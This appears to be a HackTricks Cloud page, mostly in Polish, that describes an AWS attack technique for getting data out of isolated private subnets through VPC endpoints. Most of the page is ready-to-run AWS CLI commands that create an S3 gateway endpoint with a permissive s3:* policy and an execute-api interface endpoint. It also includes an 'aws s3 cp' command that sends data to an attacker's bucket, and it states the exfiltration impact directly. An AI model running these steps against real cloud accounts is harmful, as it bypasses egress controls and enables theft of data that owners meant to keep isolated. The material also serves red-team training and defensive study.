AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Podsumowanie
Ta technika wykorzystuje VPC Endpoints do stworzenia kanałów eksfiltracji z subnetów bez Internet Gateways lub NAT. Gateway endpoints (np. S3) dodają prefix‑list routes do subnet route tables; Interface endpoints (np. execute-api, secretsmanager, ssm itd.) tworzą dostępne ENIs z prywatnymi adresami IP chronionymi przez security groups. Przy minimalnych uprawnieniach VPC/EC2 atakujący może uruchomić kontrolowany egress, który nie przechodzi przez publiczny Internet.
Wymagania wstępne: istniejący VPC i private subnets (brak IGW/NAT). Będziesz potrzebować uprawnień do tworzenia VPC endpoints oraz, dla Opcji B, security group do podpięcia do endpoint ENIs.
Opcja A – S3 Gateway VPC Endpoint
Zmienne
REGION=us-east-1VPC_ID=<target vpc>RTB_IDS=<comma-separated route table IDs of private subnets>
- Create a permissive endpoint policy file (optional). Save as
allow-put-get-any-s3.json:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
- Utwórz S3 Gateway endpoint (dodaje trasę S3 prefix‑list do wybranych tablic tras):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json # optional
Dowody do zebrania:
aws ec2 describe-route-tables --route-table-ids $RTB_IDSpokazuje trasę do listy prefiksów AWS S3 (np.DestinationPrefixListId=pl-..., GatewayId=vpce-...).- Z instancji w tych podsieciach (with IAM perms) możesz exfil via S3 bez Internetu:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
Opcja B – Interface VPC Endpoint dla API Gateway (execute-api)
Zmienne
REGION=us-east-1VPC_ID=<target vpc>SUBNET_IDS=<comma-separated private subnets>SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
- Utwórz interface endpoint i dołącz SG:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled
Dowody do zebrania:
aws ec2 describe-vpc-endpointspokazuje endpoint w stanieavailablezNetworkInterfaceIds(ENIs w twoich subnetach).- Instancje w tych subnetach mogą dotrzeć do Private API Gateway endpoints przez te VPCE ENIs (nie jest wymagana ścieżka do Internetu).
Wpływ
- Omija kontrole ruchu wychodzącego na obwodzie, wykorzystując prywatne ścieżki zarządzane przez AWS do usług AWS.
- Umożliwia eksfiltrację danych z izolowanych subnetów (np. zapisywanie do S3; wywoływanie Private API Gateway; dostęp do Secrets Manager/SSM/STS itd.) bez IGW/NAT.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

